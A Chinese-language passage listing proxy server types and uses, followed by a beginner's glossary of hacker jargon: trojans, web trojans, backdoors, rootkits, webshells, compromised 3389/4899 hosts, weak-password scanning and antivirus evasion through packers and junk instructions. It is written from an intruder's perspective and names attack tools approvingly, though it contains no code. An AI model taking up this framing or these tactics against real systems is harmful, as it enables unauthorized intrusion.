8)TUNNEL代理:经HTTPTunnet程序转换的数据包封装成http请求(Request)来穿透防火墙,允许利用HTTP服务器做任何TCP可以做的事情,功能相当于Socks5。
9)文献代理:可以用来查询数据库的代理,通过这些代理,可以获得互联网的相关科研学术的数据库资源,例如查询Sciencedirect网站(简称SD)、AcademicPress、IEEE,SPRINGER等数据库。
10)教育网代理:指学术教育机构局域网通过特定的代理服务器可使无出国权限或无访问某IP段权限的计算机访问相关资源。
11)跳板代理:应用于跳板程序,可以看作一种具有动态加密的特殊socks5代理,,也可直接用于PSD软件。其端口一般为1813。
12)Ssso代理:代理客户机上的ssso程序访问远程网站,具有SSL加密强度的超级代理,支持socks。
13)Flat代理:代理客户机上的flatsurfer程序访问远程网站,具有高强度加密数据流的特殊代理,支持socks,最大可设置三次级联,可以设置穿越代理。其端口一般为6700。
14)SoftE代理:代理客户机上的SoftEther程序访问远程网站,应用虚拟集线器HUB和虚拟网卡技术,具备VPN功能及多种认证方式的代理,符合https协议。
三、代理服务器的主要功能
代理服务器一般来讲,对于普通的网民的作用有以下几个(撇开一些高深的用处不谈,因为未必会用到):
1、连接Internet与Intranet充当firewall(防火墙):因为所有内部网的用户通过代理服务器访问外界时,只映射为一个IP地址,所以外界不能直接访问到内部网;同时可以设置IP地址过滤,限制内部网对外部的访问权限;另外,两个没有互联的内部网,也可以通过第三方的代理服务器进行互联来交换信息。
2、节省IP开销:如前面所讲,所有用户对外只占用一个IP,所以不必租用过多的IP地址,降低网络的维护成本。这样,局域局内没有与外网相连的众多机器就可以通过内网的一台代理服务器连接到外网,大大减少费用。当然也有它不利的一面,如许多网络黑客通过这种方法隐藏自己的真实IP地址,而逃过监视。
3、通过它来加快我们浏览某些网站的速度:有时候我们访问一些国外或者港台网站,速度慢得像蜗牛一样,但只要你正确的选用代理服务器,速度就可以得到提升,有时候这些速度的提升可是很明显的哦!本身带宽较小,通过带宽较大的proxy与目标主机连接。而且通常代理服务器都设置一个较大的硬盘缓冲区(可能高达几个GB或更大),当有外界的信息通过时,同时也将其保存到缓冲区中,当其他用户再访问相同的信息时,则直接由缓冲区中取出信息,传给用户,从而达到提高访问速度的目的。
4、通过它,我们可以访问到一些平时不能去的网站:不信你可以马上打开你的浏览器和输入“
www.geocities.com”这个网址。怎样?不用看着浏览器在这里空等了,并不是你的网络速度慢,也不是没有这个网站,而是你访问不到它(网络上还有很多这些类型的网站)。为什么访问不到?这个问题嘛说法有很多种,大部分都说是国内的网络被限制了访问,所以某些网站是不能去的。如果你在以往浏览过程中出现过以上的情况,那么看来你有必要尝试一下使用代理服务器了。
5从基础学起黑客术语大全
俗话说,入乡随俗,既然入了黑客的门,就必须懂得黑客的行话,下面编者将介绍黑客专用术语。
1.肉鸡:所谓“肉鸡”是一种很形象的比喻,比喻那些可以随意被我们控制的电脑,对方可以是WINDOWS系统,也可以是UNIX/LINUX系统,可以是普通的个人电脑,也可以是大型的服务器,我们可以象操作自己的电脑那样来操作它们,而不被对方所发觉。
2.木马:就是那些表面上伪装成了正常的程序,但是当这些被程序运行时,就会获取系统的整个控制权限。有很多黑客就是热中与使用木马程序来控制别人的电脑,比如灰鸽子,黑洞,PcShare等等。
3.网页木马:表面上伪装成普通的网页文件或是将而已的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。
4.挂马:就是在别人的网站文件里面放入网页木马或者是将代码潜入到对方正常的网页文件里,以使浏览者中马。
5.后门:这是一种形象的比喻,入侵者在利用某些方法成功的控制了目标主机后,可以在对方的系统中植入特定的程序,或者是修改某些设置。这些改动表面上是很难被察觉的,但是入侵者却可以使用相应的程序或者方法来轻易的与这台电脑建立连接,重新控制这台电脑,就好象是入侵者偷偷的配了一把主人房间的要是,可以随时进出而不被主人发现一样。
通常大多数的特洛伊木马(TrojanHorse)程序都可以被入侵者用语制作后门(BackDoor)
6.rootkit:rootkit是攻击者用来隐藏自己的行踪和保留root(根权限,可以理解成WINDOWS下的system或者管理员权限)访问权限的工具。通常,攻击者通过远程攻击的方式获得root访问权限,或者是先使用密码猜解(破解)的方式获得对系统的普通访问权限,进入系统后,再通过,对方系统内存在的安全漏洞获得系统的root权限。然后,攻击者就会在对方的系统中安装rootkit,以达到自己长久控制对方的目的,rootkit与我们前边提到的木马和后门很类似,但远比它们要隐蔽,黑客守卫者就是很典型的rootkit,还有国内的ntroorkit等都是不错的rootkit工具。
7.IPC$:是共享“命名管道”的资源,它是为了让进程间通信而开放的饿命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
8.弱口令:指那些强度不够,容易被猜解的,类似123,abc这样的口令(密码)
9.默认共享:默认共享是WINDOWS2000/XP/2003系统开启共享服务时自动开启所有硬盘的共享,因为加了‘$‘符号,所以看不到共享的托手图表,也成为隐藏共享。
10.shell:指的是一种命令指行环境,比如我们按下键盘上的“开始键+R”时出现“运行”对话框,在里面输入“cmd”会出现一个用于执行命令的黑窗口,这个就是WINDOWS的Shell执行环境。通常我们使用远程溢出程序成功溢出远程电脑后得到的那个用于执行系统命令的环境就是对方的shell
11.WebShell:WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做是一种网页后门。黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,好后就可以使用浏览器来访问这些asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。可以上传下载文件,查看数据库,执行任意程序命令等。国内常用的WebShell有海阳ASP木马,Phpspy,c99shell等
12.溢出:确切的讲,应该是“缓冲区溢出”。简单的解释就是程序对接受的输入数据没有执行有效的检测而导致错误,后果可能是造成程序崩溃或者是执行攻击者的命令。大致可以分为两类:(1)堆溢出;(2)栈溢出。
13.注入:随着B/S模式应用开发的发展,使用这种模式编写程序的程序员越来越来越多,但是由于程序员的水平参差不齐相当大一部分应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想要知的数据,这个就是所谓的SQLinjection,即:SQL注意入。
14.注入点:是可以实行注入的地方,通常是一个访问数据库的连接。根据注入点数据库的运行帐号的权限的不同,你所得到的权限也不同。
15.内网:通俗的讲就是局域网,比如网吧,校园网,公司内部网等都属于此类。查看IP地址如果是在以下三个范围之内的话,就说明我们是处于内网之中的:10.0.0.0—10.255.255.255,172.16.0.0—172.31.255.255,192.168.0.0—192.168.255.255
16.外网:直接连入INTERNET(互连网),可以与互连网上的任意一台电脑互相访问,IP地址不是保留IP(内网)IP地址。
17.端口:(Port)相当于一种数据的传输通道。用于接受某些数据,然后传输给相应的服务,而电脑将这些数据处理后,再将相应的恢复通过开启的端口传给对方。一般每一个端口的开放的偶对应了相应的服务,要关闭这些端口只需要将对应的服务关闭就可以了。
18.3389、4899肉鸡:3389是Windows终端服务(TerminalServices)所默认使用的端口号,该服务是微软为了方便网络管理员远程管理及维护服务器而推出的,网络管理员可以使用远程桌面连接到网络上任意一台开启了终端服务的计算机上,成功登陆后就会象操作自己的电脑一样来操作主机了。这和远程控制软件甚至是木马程序实现的功能很相似,终端服务的连接非常稳定,而且任何杀毒软件都不会查杀,所以也深受黑客喜爱。黑客在入侵了一台主机后,通常都会想办法先添加一个属于自己的后门帐号,然后再开启对方的终端服务,这样,自己就随时可以使用终端服务来控制对方了,这样的主机,通常就会被叫做3389肉鸡。Radmin是一款非常优秀的远程控制软件,4899就是Radmin默认使以也经常被黑客当作木马来使用(正是这个原因,目前的杀毒软件也对Radmin查杀了)。有的人在使用的服务端口号。因为Radmin的控制功能非常强大,传输速度也比大多数木马快,而且又不被杀毒软件所查杀,所用Radmin管理远程电脑时使用的是空口令或者是弱口令,黑客就可以使用一些软件扫描网络上存在Radmin空口令或者弱口令的主机,然后就可以登陆上去远程控制对恶劣,这样被控制的主机通常就被成做4899肉鸡。
19.免杀:就是通过加壳、加密、修改特征码、加花指令等等技术来修改程序,使其逃过杀毒软件的查杀。
20.加壳:就是利用特殊的酸法,将EXE可执行程序或者DLL动态连接库文件的编码进行改变(比如实现压缩、加密),以达到缩小文件体积或者加密程序编码,甚至是躲过杀毒软件查杀的目的。目前较常用的壳有UPX,ASPack、PePack、PECompact、UPack、免疫007、木马彩衣等等。
21.花指令:就是几句汇编指令,让汇编语句进行一些跳转,使得杀毒软件不能正常的判断病毒文件的构造。说通俗点就是”杀毒软件是从头到脚按顺序来查找病毒。如果我们把病毒的头和脚颠倒位置,杀毒软件就找不到病毒了
更多完整内容阅读登陆
《墨缘文学网,https://wap.mywenxue.org》